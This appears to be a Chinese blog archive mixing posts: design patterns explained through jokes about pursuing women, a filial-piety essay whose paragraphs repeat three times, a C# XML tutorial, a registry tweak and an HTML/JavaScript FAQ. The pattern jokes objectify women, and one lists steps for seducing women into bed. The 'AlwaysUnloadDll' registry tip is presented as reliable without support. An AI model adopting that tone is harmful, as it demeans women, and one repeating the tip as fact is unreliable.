解释器模式:给定一个语言后,解释器模式可以定义出其文法的一种表示,并同时提供一个解释器。客户端可以使用这个解释器来解释这个语言中的句子。解释器模式将描述怎样在有了一个简单的文法后,使用模式设计解释这些语句。在解释器模式里面提到的语言是指任何解释器对象能够解释的任何组合。在解释器模式中需要定义一个代表文法的命令类的等级结构,也就是一系列的组合规则。每一个命令对象都有一个解释方法,代表对命令对象的解释。命令对象的等级结构中的对象的任何排列组合都是一个语言。

16
ITERATOR我爱上了Mary,不顾一切的向她求婚。
   Mary
想要我跟你结婚,得答应我的条件
  
我:什么条件我都答应,你说吧
   Mary
我看上了那个一克拉的钻石
  
我:我买,我买,还有吗?
   Mary
我看上了湖边的那栋别墅
  
我:我买,我买,还有吗?
   Mary
你的小弟弟必须要有50cm
  
我脑袋嗡的一声,坐在椅子上,一咬牙:我剪,我剪,还有吗?
   ……

迭代子模式:迭代子模式可以顺序访问一个聚集中的元素而不必暴露聚集的内部表象。多个对象聚在一起形成的总体称之为聚集,聚集对象是能够包容一组对象的容器对象。迭代子模式将迭代逻辑封装到一个独立的子对象中,从而与聚集本身隔开。迭代子模式简化了聚集的界面。每一个聚集对象都可以有一个或一个以上的迭代子对象,每一个迭代子的迭代状态可以是彼此独立的。迭代算法可以独立于聚集角色变化。

17
MEDIATOR 四个MM打麻将,相互之间谁应该给谁多少钱算不清楚了,幸亏当时我在旁边,按照各自的筹码数算钱,赚了钱的从我这里拿,赔了钱的也付给我,一切就OK啦,俺得到了四个MM的电话。

调停者模式:调停者模式包装了一系列对象相互作用的方式,使得这些对象不必相互明显作用。从而使他们可以松散偶合。当某些对象之间的作用发生改变时,不会立即影响其他的一些对象之间的作用。保证这些作用可以彼此独立的变化。调停者模式将多对多的相互作用转化为一对多的相互作用。调停者模式将对象的行为和协作抽象化,把对象在小尺度的行为上与其他对象的相互作用分开处理。

18
MEMENTO同时跟几个MM聊天时,一定要记清楚刚才跟MM说了些什么话,不然MM发现了会不高兴的哦,幸亏我有个备忘录,刚才与哪个MM说了什么话我都拷贝一份放到备忘录里面保存,这样可以随时察看以前的记录啦。

备忘录模式:备忘录对象是一个用来存储另外一个对象内部状态的快照的对象。备忘录模式的用意是在不破坏封装的条件下,将一个对象的状态捉住,并外部化,存储起来,从而可以在将来合适的时候把这个对象还原到存储起来的状态。

19
OBSERVER  想知道咱们公司最新MM情报吗?加入公司的MM情报邮件组就行了,tom负责搜集情报,他发现的新情报不用一个一个通知我们,直接发布给邮件组,我们作为订阅者(观察者)就可以及时收到情报啦

观察者模式:观察者模式定义了一种一队多的依赖关系,让多个观察者对象同时监听某一个主题对象。这个主题对象在状态上发生变化时,会通知所有观察者对象,使他们能够自动更新自己。

20
STATEMM交往时,一定要注意她的状态哦,在不同的状态时她的行为会有不同,比如你约她今天晚上去看电影,对你没兴趣的MM就会说有事情啦,对你不讨厌但还没喜欢上的MM就会说好啊,不过可以带上我同事么?,已经喜欢上你的MM就会说几点钟?看完电影再去泡吧怎么样?,当然你看电影过程中表现良好的话,也可以把MM的状态从不讨厌不喜欢变成喜欢哦。

状态模式:状态模式允许一个对象在其内部状态改变的时候改变行为。这个对象看上去象是改变了它的类一样。状态模式把所研究的对象的行为包装在不同的状态对象里,每一个状态对象都属于一个抽象状态类的一个子类。状态模式的意图是让一个对象在其内部状态改变的时候,其行为也随之改变。状态模式需要对每一个系统可能取得的状态创立一个状态类的子类。当系统的状态变化时,系统便改变所选的子类。

21
STRATEGY跟不同类型的MM约会,要用不同的策略,有的请电影比较好,有的则去吃小吃效果不错,有的去海边浪漫最合适,单目的都是为了得到MM的芳心,我的追MM锦囊中有好多Strategy哦。

策略模式:策略模式针对一组算法,将每一个算法封装到具有共同接口的独立的类中,从而使得它们可以相互替换。策略模式使得算法可以在不影响到客户端的情况下发生变化。策略模式把行为和环境分开。环境类负责维持和查询行为类,各种算法在具体的策略类中提供。由于算法和环境独立开来,算法的增减,修改都不会影响到环境和客户端。

22
TEMPLATE METHOD ——看过《如何说服女生上床》这部经典文章吗?女生从认识到上床的不变的步骤分为巧遇、打破僵局、展开追求、接吻、前戏、动手、爱抚、进去八大步骤(Template method),但每个步骤针对不同的情况,都有不一样的做法,这就要看你随机应变啦(具体实现)

模板方法模式:模板方法模式准备一个抽象类,将部分逻辑以具体方法以及具体构造子的形式实现,然后声明一些抽象方法来迫使子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法,从而对剩余的逻辑有不同的实现。先制定一个顶级逻辑框架,而将逻辑的细节留给具体的子类去实现。

23
VISITOR情人节到了,要给每个MM送一束鲜花和一张卡片,可是每个MM送的花都要针对她个人的特点,每张卡片也要根据个人的特点来挑,我一个人哪搞得清楚,还是找花店老板和礼品店老板做一下Visitor,让花店老板根据MM的特点选一束花,让礼品店老板也根据每个人特点选一张卡,这样就轻松多了;

访问者模式:访问者模式的目的是封装一些施加于某种数据结构元素之上的操作。一旦这些操作需要修改的话,接受这个操作的数据结构可以保持不变。访问者模式适用于数据结构相对未定的系统,它把数据结构和作用于结构上的操作之间的耦合解脱开,使得操作集合可以相对自由的演化。访问者模式使得增加新的操作变的很容易,就是增加一个新的访问者类。访问者模式将有关的行为集中到一个访问者对象中,而不是分散到一个个的节点类中。当使用访问者模式时,要将尽可能多的对象浏览逻辑放在访问者类中,而不是放到它的子类中。访问者模式可以跨过几个类的等级结构访问属于不同的等级结构的成员类

2006年04月21日

如果你在一个平凡的家庭长大;
如果你的父母还健在;不管你有没有和他们同住;
如果有一天,你发现厨房不再像以前那么乾净;
如果有一天,你发现家中的碗筷好像没洗乾净;
如果有一天,你发现母亲的锅子不再雪亮;
如果有一天,你发现父亲的花草树木已渐荒废;
如果有一天,你发现家中的地板橱柜经常沾满灰尘;
如果有一天,你发现母亲煮的菜太咸太难吃;
如果有一天,你发现父母经常忘记关瓦斯;
如果有一天,你发现老父老母的一些习惯不再是习惯时………,就像他们不再想要天天洗澡时……
如果有一天,你发现父母不再爱吃青脆的蔬果;
如果有一天,你发现父母爱吃煮得烂烂的菜;
如果有一天,你发现父母喜欢吃稀饭;
如果有一天,你发现他们过马路行动反应都慢了;
如果有一天,你发现在吃饭时间他们老是咳个不停,千万别误以为他们感冒或著凉,(那是吞咽神经老化的现象);
如果有一天,你发觉他们不再爱出门…
我要告诉你,你要警觉父母真的已经老了,器官已经退化到需要别人照料了,如果你不能照料,请你替他们找人照料,并请你千万千万要常常探望他们,不要让他们觉得被遗弃了。

每个人都会老,父母比我们先老,我们要用角色互换的心情去照料他们,才会有耐心、才不会有怨言。当父母不能料理自己的时候,为人子女要警觉,他们可能会大小便失禁、可能会很多事都做不好,如果房间有异味,可能他们自己也闻不到,请不要嫌他脏或嫌他,为人子女的只能帮他清理,并请维持他们的『自尊心』。

当他们不再爱洗澡时,请抽空定期帮他们洗身体,因为纵使他们自己洗也可能洗不乾净。当我们在享受食物的时候,请替他们准备一份大小适当、容易咀嚼的一小碗,因为他们不爱吃可能是牙齿咬不动了。

从我们出生开始,喂奶换尿布、生病的不眠不休照料、教我们生活基本能力、供给读书、吃喝玩乐和补习,关心和行动永远都不停。

如果有一天,他们真的动不了,角色互换不也是应该的吗?为人子女者要切记,看父母就是看自己的未来,孝顺要及时。
如果有一天,你像他们一样老时,你希望怎么过?

现在的你,是在当单身寄生虫、还是已婚双料或多料寄生虫?你有留意过自己的父母吗?请关心和留意他们正在逐渐老化的过程,也别忘了花多点时间陪陪爸妈…多关心他们喔!!! (不要经常对他们呼喝)

每个人都会老,父母比我们先老,我们要用角色互换的心情去照料他们,才会有耐心、才不会有怨言。当父母不能料理自己的时候,为人子女要警觉,他们可能会大小便失禁、可能会很多事都做不好,如果房间有异味,可能他们自己也闻不到,请不要嫌他脏或嫌他,为人子女的只能帮他清理,并请维持他们的『自尊心』。

当他们不再爱洗澡时,请抽空定期帮他们洗身体,因为纵使他们自己洗也可能洗不乾净。当我们在享受食物的时候,请替他们准备一份大小适当、容易咀嚼的一小碗,因为他们不爱吃可能是牙齿咬不动了。

从我们出生开始,喂奶换尿布、生病的不眠不休照料、教我们生活基本能力、供给读书、吃喝玩乐和补习,关心和行动永远都不停。

如果有一天,他们真的动不了,角色互换不也是应该的吗?为人子女者要切记,看父母就是看自己的未来,孝顺要及时。
如果有一天,你像他们一样老时,你希望怎么过?

现在的你,是在当单身寄生虫、还是已婚双料或多料寄生虫?你有留意过自己的父母吗?请关心和留意他们正在逐渐老化的过程,也别忘了花多点时间陪陪爸妈…多关心他们喔!!! (不要经常对他们呼喝)

每个人都会老,父母比我们先老,我们要用角色互换的心情去照料他们,才会有耐心、才不会有怨言。当父母不能料理自己的时候,为人子女要警觉,他们可能会大小便失禁、可能会很多事都做不好,如果房间有异味,可能他们自己也闻不到,请不要嫌他脏或嫌他,为人子女的只能帮他清理,并请维持他们的『自尊心』。

当他们不再爱洗澡时,请抽空定期帮他们洗身体,因为纵使他们自己洗也可能洗不乾净。当我们在享受食物的时候,请替他们准备一份大小适当、容易咀嚼的一小碗,因为他们不爱吃可能是牙齿咬不动了。

从我们出生开始,喂奶换尿布、生病的不眠不休照料、教我们生活基本能力、供给读书、吃喝玩乐和补习,关心和行动永远都不停。

如果有一天,他们真的动不了,角色互换不也是应该的吗?为人子女者要切记,看父母就是看自己的未来,孝顺要及时。
如果有一天,你像他们一样老时,你希望怎么过?

现在的你,是在当单身寄生虫、还是已婚双料或多料寄生虫?你有留意过自己的父母吗?请关心和留意他们正在逐渐老化的过程,也别忘了花多点时间陪陪爸妈…多关心他们喔!!! (不要经常对他们呼喝)

2005年12月14日

在C#.net中如何操作XML
需要添加的命名空间:
using System.Xml;

定义几个公共对象:
XmlDocument xmldoc ;
XmlNode xmlnode ;
XmlElement xmlelem ;

1,创建到服务器同名目录下的xml文件:

方法一:
xmldoc = new XmlDocument ( ) ;
//加入XML的声明段落,<?xml version="1.0" encoding="gb2312"?>
XmlDeclaration xmldecl;
 xmldecl = xmldoc.CreateXmlDeclaration("1.0","gb2312",null);
 xmldoc.AppendChild ( xmldecl);

//加入一个根元素
xmlelem = xmldoc.CreateElement ( "" , "Employees" , "" ) ;
xmldoc.AppendChild ( xmlelem ) ;
//加入另外一个元素
for(int i=1;i<3;i++)
{

XmlNode root=xmldoc.SelectSingleNode("Employees");//查找<Employees>
XmlElement xe1=xmldoc.CreateElement("Node");//创建一个<Node>节点
xe1.SetAttribute("genre","李赞红");//设置该节点genre属性
xe1.SetAttribute("ISBN","2-3631-4");//设置该节点ISBN属性

XmlElement xesub1=xmldoc.CreateElement("title");
xesub1.InnerText="CS从入门到精通";//设置文本节点
xe1.AppendChild(xesub1);//添加到<Node>节点中
XmlElement xesub2=xmldoc.CreateElement("author");
xesub2.InnerText="候捷";
xe1.AppendChild(xesub2);
XmlElement xesub3=xmldoc.CreateElement("price");
xesub3.InnerText="58.3";
xe1.AppendChild(xesub3);

root.AppendChild(xe1);//添加到<Employees>节点中
}
//保存创建好的XML文档
xmldoc.Save ( Server.MapPath("data.xml") ) ;

//////////////////////////////////////////////////////////////////////////////////////
结果:在同名目录下生成了名为data.xml的文件,内容如下,
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
</Employees>

方法二:
XmlTextWriter xmlWriter;
   string strFilename = Server.MapPath("data1.xml") ;

   xmlWriter = new XmlTextWriter(strFilename,Encoding.Default);//创建一个xml文档
   xmlWriter.Formatting = Formatting.Indented;
   xmlWriter.WriteStartDocument();
   xmlWriter.WriteStartElement("Employees");

   xmlWriter.WriteStartElement("Node");
   xmlWriter.WriteAttributeString("genre","李赞红");
   xmlWriter.WriteAttributeString("ISBN","2-3631-4");

   xmlWriter.WriteStartElement("title");
   xmlWriter.WriteString("CS从入门到精通");
   xmlWriter.WriteEndElement();

   xmlWriter.WriteStartElement("author");
   xmlWriter.WriteString("候捷");
   xmlWriter.WriteEndElement();

   xmlWriter.WriteStartElement("price");
   xmlWriter.WriteString("58.3");
   xmlWriter.WriteEndElement();

   xmlWriter.WriteEndElement();

   xmlWriter.Close();
//////////////////////////////////////////////////////////////////////////////////////
结果:
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
</Employees>

2,添加一个结点:

XmlDocument xmlDoc=new XmlDocument();
xmlDoc.Load(Server.MapPath("data.xml"));
XmlNode root=xmlDoc.SelectSingleNode("Employees");//查找<Employees>
XmlElement xe1=xmlDoc.CreateElement("Node");//创建一个<Node>节点
xe1.SetAttribute("genre","张三");//设置该节点genre属性
xe1.SetAttribute("ISBN","1-1111-1");//设置该节点ISBN属性

XmlElement xesub1=xmlDoc.CreateElement("title");
xesub1.InnerText="C#入门帮助";//设置文本节点
xe1.AppendChild(xesub1);//添加到<Node>节点中
XmlElement xesub2=xmlDoc.CreateElement("author");
xesub2.InnerText="高手";
xe1.AppendChild(xesub2);
XmlElement xesub3=xmlDoc.CreateElement("price");
xesub3.InnerText="158.3";
xe1.AppendChild(xesub3);

root.AppendChild(xe1);//添加到<Employees>节点中
xmlDoc.Save ( Server.MapPath("data.xml") );

//////////////////////////////////////////////////////////////////////////////////////
结果:在xml原有的内容里添加了一个结点,内容如下,
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="张三" ISBN="1-1111-1">
    <title>C#入门帮助</title>
    <author>高手</author>
    <price>158.3</price>
  </Node>
</Employees>

3,修改结点的值(属性和子结点):

XmlDocument xmlDoc=new XmlDocument();
xmlDoc.Load( Server.MapPath("data.xml") );

XmlNodeList nodeList=xmlDoc.SelectSingleNode("Employees").ChildNodes;//获取Employees节点的所有子节点

foreach(XmlNode xn in nodeList)//遍历所有子节点
{
XmlElement xe=(XmlElement)xn;//将子节点类型转换为XmlElement类型
if(xe.GetAttribute("genre")=="张三")//如果genre属性值为“张三”
{
xe.SetAttribute("genre","update张三");//则修改该属性为“update张三”

XmlNodeList nls=xe.ChildNodes;//继续获取xe子节点的所有子节点
foreach(XmlNode xn1 in nls)//遍历
{
XmlElement xe2=(XmlElement)xn1;//转换类型
if(xe2.Name=="author")//如果找到
{
xe2.InnerText="亚胜";//则修改
}
}
}
}
xmlDoc.Save( Server.MapPath("data.xml") );//保存。

//////////////////////////////////////////////////////////////////////////////////////
结果:将原来的所有结点的信息都修改了,xml的内容如下,
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="update张三" ISBN="1-1111-1">
    <title>C#入门帮助</title>
    <author>亚胜</author>
    <price>158.3</price>
  </Node>
</Employees>

4,修改结点(添加结点的属性和添加结点的自结点):
XmlDocument xmlDoc=new XmlDocument();
xmlDoc.Load( Server.MapPath("data.xml") );

XmlNodeList nodeList=xmlDoc.SelectSingleNode("Employees").ChildNodes;//获取Employees节点的所有子节点

foreach(XmlNode xn in nodeList)
{
XmlElement xe=(XmlElement)xn;
xe.SetAttribute("test","111111");

XmlElement xesub=xmlDoc.CreateElement("flag");
xesub.InnerText="1";
xe.AppendChild(xesub);
}
xmlDoc.Save( Server.MapPath("data.xml") );

//////////////////////////////////////////////////////////////////////////////////////
结果:每个结点的属性都添加了一个,子结点也添加了一个,内容如下,
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4" test="111111">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
    <flag>1</flag>
  </Node>
  <Node genre="李赞红" ISBN="2-3631-4" test="111111">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
    <flag>1</flag>
  </Node>
  <Node genre="update张三" ISBN="1-1111-1" test="111111">
    <title>C#入门帮助</title>
    <author>亚胜</author>
    <price>158.3</price>
    <flag>1</flag>
  </Node>
</Employees>

5,删除结点中的某一个属性:
XmlDocument xmlDoc=new XmlDocument();
xmlDoc.Load( Server.MapPath("data.xml") );
XmlNodeList xnl=xmlDoc.SelectSingleNode("Employees").ChildNodes;
foreach(XmlNode xn in xnl)
{
XmlElement xe=(XmlElement)xn;
xe.RemoveAttribute("genre");//删除genre属性

XmlNodeList nls=xe.ChildNodes;//继续获取xe子节点的所有子节点
foreach(XmlNode xn1 in nls)//遍历
{
XmlElement xe2=(XmlElement)xn1;//转换类型
if(xe2.Name=="flag")//如果找到
{
xe.RemoveChild(xe2);//则删除
}
}
}
xmlDoc.Save( Server.MapPath("data.xml") );

//////////////////////////////////////////////////////////////////////////////////////]
结果:删除了结点的一个属性和结点的一个子结点,内容如下,
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node ISBN="2-3631-4" test="111111">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node ISBN="2-3631-4" test="111111">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node ISBN="1-1111-1" test="111111">
    <title>C#入门帮助</title>
    <author>亚胜</author>
    <price>158.3</price>
  </Node>
</Employees>

6,删除结点:
XmlDocument xmlDoc=new XmlDocument();
xmlDoc.Load( Server.MapPath("data.xml") );
XmlNode root=xmlDoc.SelectSingleNode("Employees");
XmlNodeList xnl=xmlDoc.SelectSingleNode("Employees").ChildNodes;
for(int i=0;i<xnl.Count;i++)
{
XmlElement xe=(XmlElement)xnl.Item(i);
if(xe.GetAttribute("genre")=="张三")
{
root.RemoveChild(xe);
if(i<xnl.Count)i=i-1;
}
}
xmlDoc.Save( Server.MapPath("data.xml") );

//////////////////////////////////////////////////////////////////////////////////////]
结果:删除了符合条件的所有结点,原来的内容:

<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="张三" ISBN="1-1111-1">
    <title>C#入门帮助</title>
    <author>高手</author>
    <price>158.3</price>
  </Node>
  <Node genre="张三" ISBN="1-1111-1">
    <title>C#入门帮助</title>
    <author>高手</author>
    <price>158.3</price>
  </Node>
</Employees>

删除后的内容:
<?xml version="1.0" encoding="gb2312"?>
<Employees>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
  <Node genre="李赞红" ISBN="2-3631-4">
    <title>CS从入门到精通</title>
    <author>候捷</author>
    <price>58.3</price>
  </Node>
</Employees>

 7,按照文本文件读取xml

System.IO.StreamReader myFile =new 
System.IO.StreamReader(Server.MapPath("data.xml"),System.Text.Encoding.Default);
//注意System.Text.Encoding.Default

string myString = myFile.ReadToEnd();//myString是读出的字符串
myFile.Close();

2005年10月10日

  在Windows中每运行一个程序,系统资源就会减少。有的程序会消耗大量的系统资源,即使把程序关闭,在内存中还是有一些没用的DLL文件在运行,这样就使得系统的运行速度下降。不过我们可以通过修改注册表键值的方法,使关闭软件后自动清除内存中没用的DLL文件及时收回消耗的系统资源。

  打开注册表编辑器,找到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer”主键,在右边窗口单击右键,新建一个名为“AlwaysUnloadDll”的“字符串值”,然后将“AlwaysUnloadDll”的键值修改为“1”,退出注册表重新启动机器即可达到目的。

2005年05月10日


第一页问题标题有如下:
怎样才能把RealPlayer文件在网页做一个试听连接?
请问如何去掉IE的上下滚动条?
如何在打开页面的时候,输入表单就获得焦点?
解释一下event.X和event.clientX有什么区别?
请问如何让网页自动刷新?
如何让一个窗口永远在最上面?
如何实现虚线边框?
如何用html实现浏览器上后退按钮的功能?
表单中如何用图片按钮实现 reset?
怎样去掉图片链接点击后,图片周围的虚线?
如何去掉网页连接的下划线?


第二页问题标题有如下:
请问怎么在网页中改变鼠标的箭头形状?
target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是

什么?
如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的ICON?
请问如何去掉主页右面的滚动条?
怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西
请问如何忽视右键?
怎样在同一页面内控制不同链接的CSS属性?
电子邮件处理提交表单
有没有可能用层来遮住FLASH?
如何根据屏幕分辨率调用相对应的页面?
不用询问就关闭浏览器
如何弹出只有状态栏的窗口?


第三页问题标题有如下:

如何改变iframe的src地址
如何让超链接没有下划线
页面打开时自动弹出一个窗口的代码怎么写?
请问如何做到让一个网页自动关闭.
如何让我的页面出现一个会讲话的小人?Merlin
如何几秒后转到别的页面?
在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
文本输入框什么属性能实现不可输入?
怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?
如何让表格并排?
如何让两个form表单行距之间不出现空格?
如何让页面自动刷新?


第四页问题标题有如下:
如何给文本连接加上提示语言?
英文排版的问题:怎么能让英自动排列整齐?
如何禁止自己的页面在别人的框架里打开?
在打开的子窗口刷新父窗口的代码里如何写?
如何不用图片生成圆角的表格?
如何在java script中捕捉错误信息?
JS正则表达式replace用法
如何实现首页全屏幕显示?
如何动态改变一个Object对象的样式表风格的Class?
如何用脚本来修改用户系统的注册表?
如何监听一个窗口被关闭了?
什么是innerHTML、outerHTML………还有innerText?


第五页问题标题有如下:
关于try….catch..的语法捕捉错误使用例子
如何获得一个Select中选中option的values?
this 和self 有什么区别,各在哪里用
如何禁止Ctrl+N?
所有dhtml对象的属性和方法其实在你本机的硬盘上就有!
window方法列表!
execCommand的完全参考(中文版)
可以在TEXTAREA中实现在光标处用脚本来加入文本吗?
什么是.htc?
如何把页面加入用户的收藏夹?
在html中导入xml数据的方法?
能不能把表格的背景色设成半透明?


第六页问题标题有如下:
如何在我的页面中加入背景音乐?
怎么设置滚动条颜色?
如何让textarea没有滚动条?
如何设置open()?
如何
让弹出窗口只打开一次?
怎样让表单没有凹凸感?
<div><span>&<layer>的区别?
如何设置页面转换效果?
怎样预下载图片?
如何设定打开页面的大小?
怎样双击滚屏,单击停止?
如何让body中的文字不被选中?

第七页问题标题有如下:
绝对定位的负数是怎么回事?
如何让弹出的窗口不能关闭?
如何控制href,img等支持title属性的控制其title的显示格式?
标签fieldset的使用例子
如何让浏览器在保存页面时保存失败?  
一个页面内所有复选框的全选功能如何实现?
一个最简单的动态改变元素的代码例子  
如何让frame不可以修改大小?
如何做1px大小边框的Table
如何在不刷新页面的情况下刷新css?  

            ?
第一页如下:
——————————————————————————–
怎样才能把RealPlayer文件在网页做一个试听连接?

 HTML 代码片段如下:
<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false"

controls="PlayButton">

请问如何去掉IE的上下滚动条?

 HTML 代码片段如下:
<body style=’overflow:scroll;overflow-y:hidden’>
</body>


如何在打开页面的时候,输入表单就获得焦点?
如果表单没有名字可以用document.forms[index]数组访问
如果表单项没有名字可以用document.forms[index].elements[index]数组访问
这里index是整数
比如:

 HTML 代码片段如下:
<form>
<input type="text" value="" onclick ="document.forms[0].elements[0].value=’我是表单1,第一个表单项’;">
</form>
<form name="form2">
<input type="text" value="" onclick ="document.form2.elements[0].value=’我是表单2,第一个表单项’;">
</form>
<form name="form3">
<input name="text3" type="text" value="" onclick ="document.form3.text3.value=’我是表单3,第一个表单项

‘;">
</form>


要使一个表单项获得焦点,要使用foces()方法,如下
someElement.foces();
someElement是一个表单项的引用


解释一下event.X和event.clientX有什么区别?
event.clientX返回事件发生时,mouse相对于客户窗口的X坐标
event.X也一样
但是如果设置事件对象的定位属性值为relative
event.clientX不变
而event.X返回事件对象的相对于本体的坐标
event对象详解 ICOOE 2000.3.31  http://www.51js.com/
event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altKey
检索ALT键的当前状态
可能的值 true为关闭
false为不关闭

button
检索按下的鼠标键
可能的值: 0 没按键
1 按左键
2 按右键
3 按左右键
4 按中间键
5 按左键和中间键
6 按右键和中间键
7 按所有的键

cancelBubble
设置或检索当前事件是否将事件句柄起泡
可能的值: false 启用起泡
true 取消该事件起泡

clientX
检索与窗口客户区域有关的鼠标光标的X坐标,属性为只读,没有默认值。

clientY
检索与窗口客户区域有关的鼠标光标的Y坐标,属性为只读,没有默认值。

ctrlKey
ctrlKey 检索CTRL键的当前状态
可能的值 true为关闭
false为不关闭

dataFld
检索被oncellchange事伯影响的列

aTransfer
为拖放操作提供预先定义的剪贴板式。

Element
检索在on mouseover和on mouseout事件期间退出的对象指针

keyCode
设置或检索与引发事件的关键字相关联的Unicode关键字代码
该属性与onkeydown onkeyup onkeypress一起使用
如果没有引发事件的关键字,则该值为0

offsetX
检索与触发事件的对象相关的鼠标位置的水平坐标

offsetY
检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyName
检索在对象上己更改的特性的名称

reason
检索数据源对象数据传输的结果
可能的值:
0 数据传输成功
1 数据传输失败
2 数据传输错误

recordset
检索数据源对象中默认记录集的引用
该特性为只读

repeat
检索一个事件是否被重复
该属性只有在onkeydown事件重复时才返回true

returnvalues
设置或检索从事件中返回的值
可能的值:
true 事件中的值被返回
false 源对象上事件的默认操作被取消

screenX
检索与用户屏相关的鼠标的水平位置

screenY
检索与用户屏相关的鼠标的垂直位置

shiftKey
检索shiftKey键的当前状态
可能的值 true为关闭
false为不关闭

srcElement
检索触发事件的对象

srcFilter
检索导致onfilterchange事件触发的过滤器对象

srcUm
检索触发事件行为的同一资源名称
除非下面两个条件都为真,否则该特性被设置为null
1.行为被附加到触发事件的要素上
2.在前面的项目符号中定义的行为己指定了一个URN标识符和己触发的事件

toElement
检索作为on mouseover或者on mouseout事件结果而移动的对象

type
检索事件对象中的事件名称

x
检索相对于父要素鼠标水平坐标的整数

y
检索相对于父要素鼠标垂直坐标的整数


请问如何让网页自动刷新?
在head部记入<META HTTP-EQUIV="Refresh" content="20">其中20为20秒后自动刷新,你可以更改为任意值。


如何让一个窗口永远在最上面?

 HTML 代码片段如下:
<a onclick=aa()>点这里</a>
<script language=’<B style="color:black;background-color:#A0FFFF">javascript</B>’>
function aa(){
y=window.showModalDialog("http://www.51js.com","","Height: 300; Width: 275; help: no");
}
</script>


如何实现虚线边框?

 HTML 代码片段如下:
<html>
<head>
<title>虚线</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
 <tr>
  <td style="border-top-style:dashed ;"> </td>
 </tr>
</table>
</body>
</html>

还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里

指定颜色:border-color:#??????
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>New Page 1</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>

<body>

<table border="1" width="100%" style="border: 1px dashed">
 <tr>
   <td width="50%"> </td>
   <td width="50%"> </td>
 </tr>
 <tr>
   <td width="50%"> </td>
   <td width="50%"> </td>
 </tr>
 <tr>
   <td width="50%"> </td>
   <td width="50%"> </td>
 </tr>
</table>
</body>
</html>

<html>
<body>
<table>
<tr>
<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px

#000000">只有这样才行吗?</td>
</tr>
<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>
<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed

1px #000000">如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>
</body></html>

如何用html实现浏览器上后退按钮的功能?
<a href="java script:history.go(-1)">点击后退</a>
或者
<script> history.back() </script>

表单中如何用图片按钮实现 reset?
<html>
<head>
<script>
function aaa(){
document.forms[0].reset()
}
</script>
</head>
<body>
<form>
<textarea rows="2" name="S1" cols="20"></textarea>
 <input type="submit" values="提交" name="B1">  
 <image src="logo.gif" onclick=aaa()>  
</form>
</body></html>


[
怎样去掉图片链接点击后,图片周围的虚线?
onFocus="if(this.blur)this.blur()"
blur:
使物件失焦...
當你点击图片链接時
图片链接得到焦點(Focus)
就會出現虚线(提示你這個圖片得到焦點了)
用blur能使之失焦
簡單一點的語法
onFocus="this.blur()"

 HTML 代码片段如下:
<a href="#" onFocus="this.blur()">
<

 

第二页如下:
--------------------------------------------------------------------------------


请问怎么在网页中改变鼠标的箭头形状?
 HTML 代码片段如下:
<body>
<a href="#" style="cursor: auto;">auto</a><br>
<a href="#" style="cursor: crosshair ">crosshair </a><br>
<a href="#" style="cursor: default ">default </a><br>
<a href="#" style="cursor: hand ">hand </a><br>
<a href="#" style="cursor: move ">move </a><br>
<a href="#" style="cursor: e-resize ">e-resize </a><br>
<a href="#" style="cursor: ne-resize ">ne-resize </a><br>
<a href="#" style="cursor: nw-resize">nw-resize</a><br>
<a href="#" style="cursor: n-resize">n-resize</a><br>
